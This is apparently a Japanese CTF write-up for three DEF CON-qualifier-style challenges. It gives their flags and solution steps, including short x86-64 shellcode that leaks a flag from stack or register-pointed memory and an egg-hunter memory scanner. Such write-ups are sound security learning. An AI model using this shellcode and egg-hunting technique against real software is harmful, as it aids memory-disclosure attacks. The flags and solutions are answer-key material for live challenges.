どうもみむらです。
久しぶりに wasamusume の CTF の活動を再開したくなり、リハビリがてらに参加してみました。
結果としては98位。
3人だけでひっそりと参加していたのですが、結果としてはかなり上々かも。
というわけで、解いた問題についての Write-up です。
問題のおしながき:
・welcome_to_the_game
・babytrace
・know_your_mem
welcome_to_the_game
FLAG : OOO{Game on!}
ファイルを開くと出てくる。
babytrace
FLAG : OOO{memory_objects_get_you_every_time}
claripy と angr で作られたトレーサを経由して問題のファイルを覗く問題。
プログラムは純粋に使うと2文字までしか表示されないようになっています。
解き方
0x856 の位置に “movzx eax,[rbp+eax+buf]” という処理があり
ここで、任意の位置の文字が “eax” に積まれます。
その処理を利用して、任意の文字の位置を読んでみます。
あとは上記を繰り返して、文字列を読んでいくとフラグが得られます。
know_your_mem
FLAG : OOO{so many bits, so many syscalls}
実行すると下記のように、シェルコードを入れるように指示されます。
ここに、文字列長とシェルコードを入力するとそれが実行されます。
シェルコードで実現する必要があることは、
プログラムのどこかに読み込まれている「フラグ」のデータを探し出して
それを読み込んで表示すること。
また、10秒間のタイムアウト値が設定されているため、それを越えての探索は出来ません。
解き方
方針1(基本的な方法)
64bit 空間のメモリを全部探すのは現実的ではないので
スタック中から何か出ていないか探します。
下記のようなアセンブラを書いて、それをシェルコードとして与えます。
bits 64
section .text
global _start
_start:
mov rsi,rsp
mov rdx,70
mov rdi,1
mov rax,1
syscall
mov rax,0
ret
どうやら白く塗ってある場所に同じ表示が出ているのでこれが使えそう。
ただ大会期間中は、メモリ位置を考慮するのが面倒くさくなったので
別の方法を使いました。
方針2(実際に試した方法)
“flag” の読み込みを r15 が指し示すメモリアドレスに読み込む処理が入っています。
というわけで下記のようなアセンブラを書いてみました。
bits 64
section .text
global _start
_start:
mov rsi,r15
mov rdx,50
mov rdi,1
mov rax,1
syscall
mov rax,r15
ret
結果としては下記の通り
というわけで r15 レジスタを参照するだけで解けました・・。
うーんこれで良いのだろうか・・。
ところで
フラグが OOO{so many bits, so many syscalls} なので
下記のようなコードを書くのが正しいのかもしれませんね・・?
余談(メモリ全探索。間に合わないけど・・。)
(ただし速度が追いつかないので改良等をする必要は大いにあります)
bits 64
section .text
global _start
_start:
mov rsi,0x100000000000
_nextpage:
add rsi,0x1000 ; mmap のアライメント.
_nextbyte:
mov rdx,10
mov rdi,1
mov rax,1 ; write は今回の seccomp の設定で許可されていたので.
syscall
_faultcheck:
cmp al,0xf2 ;EFAULT
jz _nextpage
mov eax,0x4F4F4F7B ; egg "OOO{"
inc al
scasd
jnz _nextbyte
mov rax,rdi
ret
普通に Egg Hunter の Exploit code のもじりです(苦笑)
というわけで、
久しぶりに CTF やるのと、久しぶりにアセンブラ読み書きしてるのが楽しかったので
また機会があれば CTF やりたいかもしれません。
また家にメンバーを読んでやってたのですが、
あのワイワイした感じで解くのも面白かったし。であであー。